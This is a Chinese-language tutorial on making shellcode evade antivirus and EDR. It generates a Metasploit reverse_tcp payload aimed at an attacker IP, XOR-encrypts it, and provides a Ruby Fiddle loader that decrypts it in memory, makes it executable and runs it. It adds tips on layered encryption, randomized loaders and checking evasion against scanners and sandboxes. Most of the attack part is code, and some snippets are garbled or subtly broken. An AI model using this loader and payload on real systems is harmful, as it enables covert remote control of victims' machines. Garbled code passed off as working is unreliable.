一、Shellcode加密免杀的核心思路
在渗透测试和红队作业中,使用恶意载荷时最常遇到的问题就是被杀软和EDR一眼识破。尤其是当我们需要加载Shellcode时,这些工具会直接检测内存中的可疑代码模式。而绕过这些检测的关键,是让Shellcode看起来不像Shellcode。
Shellcode加密免杀的核心思路可以分为以下几个步骤:
- 加密Shellcode:对原始的Shellcode进行加密处理,比如异或加密、AES加密等。
- 解密器载入:在目标机器上运行一个解密器,用于解密加密后的Shellcode。
- 动态加载:通过代码或内存操作,将解密后的Shellcode加载到内存中,并正常执行。
通过这种方式,即使杀软扫描到了加密后的Shellcode,也无法直接识别其行为特征;解密动作将在目标机器上完成,整个过程更加隐蔽。
以下,我们将从攻击原理、环境搭建到实战代码,逐步分析如何实现一个加密免杀的Shellcode加载器。
---
二、制作Shellcode:从Metasploit到加密处理
生成基础Shellcode
首先,我们需要生成一个标准的Shellcode,可以利用Metasploit的msfvenom工具完成:
<pre><code class="language-bash">msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o shellcode.bin</code></pre>
-p指定Payload类型,这里是reverse_tcp。LHOST和LPORT为攻击者的监听IP和端口。-f raw生成一个原始格式的二进制Shellcode。-o shellcode.bin将结果保存到一个文件中。
生成的shellcode.bin是未经任何处理的原始Shellcode,这也是杀软和EDR重点关注的内容,我们下一步需要对其进行加密。
---
加密Shellcode:异或加密
为了示范,我们选择一种简单的加密方式:异或加密。异或操作不仅容易实现,还可以有效改变Shellcode的特征。不过实际使用时,建议使用更复杂的加密算法,比如AES。
以下是一个用Ruby编写的Shellcode加密脚本:
<pre><code class="language-ruby"># 读取原始的Shellcode original_shellcode = File.binread("shellcode.bin")
选择一个加密密钥
key = 0xAA
对每个字节进行异或加密
encrypted_shellcode = original_shellcode.bytes.map { |b| b ^ key }.pack("C*")
将加密后的Shellcode保存到文件
File.binwrite("encrypted_shellcode.bin", encrypted_shellcode)
puts "[+] Shellcode加密完成,已保存为 encrypted_shellcode.bin"</code></pre>
运行这段代码后,我们会得到一个名为encrypted_shellcode.bin的文件,它是加密后的Shellcode文件。
---
还需要构建解密器
在目标机器上运行时,我们需要一个解密器来还原加密的Shellcode。这一步将在后面的「加载与执行」环节中详细讲解。

---
三、绕过检测:动态解密与内存加载
如果直接将加密后的Shellcode加载到目标内存中,杀软仍然有可能在Shellcode解密完成后检测到它的行为特征。因此,我们需要一个精巧的加载器来完成以下任务:
- 将加密的Shellcode解密到内存中。
- 动态分配内存,加载解密后的数据。
- 调用Shellcode的入口点执行它。
利用Ruby实现解密与加载
下面是一段用Ruby编写的加载器代码,它负责读取加密的Shellcode并在内存中解密后执行:
<pre><code class="language-ruby">require 'fiddle'
读取加密后的Shellcode
encrypted_shellcode = File.binread("encrypted_shellcode.bin")

和加密时相同的密钥
key = 0xAA
解密Shellcode
decrypted_shellcode = encrypted_shellcode.bytes.map { |b| b ^ key }.pack("C*")
动态分配内存
memory = Fiddle::Pointer.malloc(decrypted_shellcode.bytesize)
将解密后的Shellcode写入内存
memory[0, decrypted_shellcode.bytesize] = decrypted_shellcode
将内存标记为可执行
Fiddle::Function.new(Fiddle::Handle::DEFAULT['VirtualProtect'], [Fiddle::TYPE_VOIDP, Fiddle::TYPE_SIZE_T, Fiddle::TYPE_LONG, Fiddle::TYPE_VOIDP], Fiddle::TYPE_VOID).call( memory, decrypted_shellcode.bytesize, 0x40, Fiddle::Pointer.malloc(4) )
执行Shellcode
Fiddle::Function.new(memory, [], Fiddle::TYPE_VOID).call</code></pre>

---
四、细节优化:从单层加密到多层混淆
为了进一步增强免杀效果,我们可以结合多种技术手段进行混淆和隐藏。
多层加密
在第一层异或加密的基础上,可以叠加其他加密算法。例如:
- 首先对Shellcode进行AES加密;
- 然后再对AES密文进行异或加密;
- 目标机器上分步骤解密。
随机壳生成
另一种对抗EDR检测的方式是每次生成随机的加载壳,使得文件的哈希值和特征编码不断变化。
以下是一个简单的随机壳生成示例:
<pre><code class="language-ruby"># 生成随机壳的代码片段 def randomize_shell random_code = (0...20).map { rand(65..90).chr }.join eval("puts 'Randomized Code: #{random_code}'") end
随代码生成而动态插入
randomize_shell</code></pre>
通过这种方式,即使同一个Shellcode每次运行也会有不同的特征。
---
五、实战验证:绕过杀软与EDR检测
经过上述加密与加载操作,我们可以验证Shellcode的免杀效果。在实际测试中,攻击者通常会使用以下方法:
- 病毒扫描测试:将加密后的Shellcode上传到环境中,测试是否被杀软拦截。
- 沙箱检测绕过:利用动态行为分析工具观察解密与加载过程,确保没有暴露恶意特征。
- 流量分析:确保Shellcode执行时的网络连接不会被检测到。
---
六、经验分享:如何避免常见错误
- 错误选择加密算法:简单的异或加密容易被工具快速破解,建议结合更复杂的算法。
- 忽视解密器的免杀:即使Shellcode被加密,解密器本身的行为特征也可能被检测到。
- 内存保护问题:在分配内存时,一定要确保内存区域的权限标记为可读、可写、可执行。

---
七、合法警告与使用声明
本文分享的技术仅限于授权环境下的安全研究与测试,禁止任何形式的非法用途。攻击者思维是一把双刃剑,使用时请务必遵守法律与道德底线。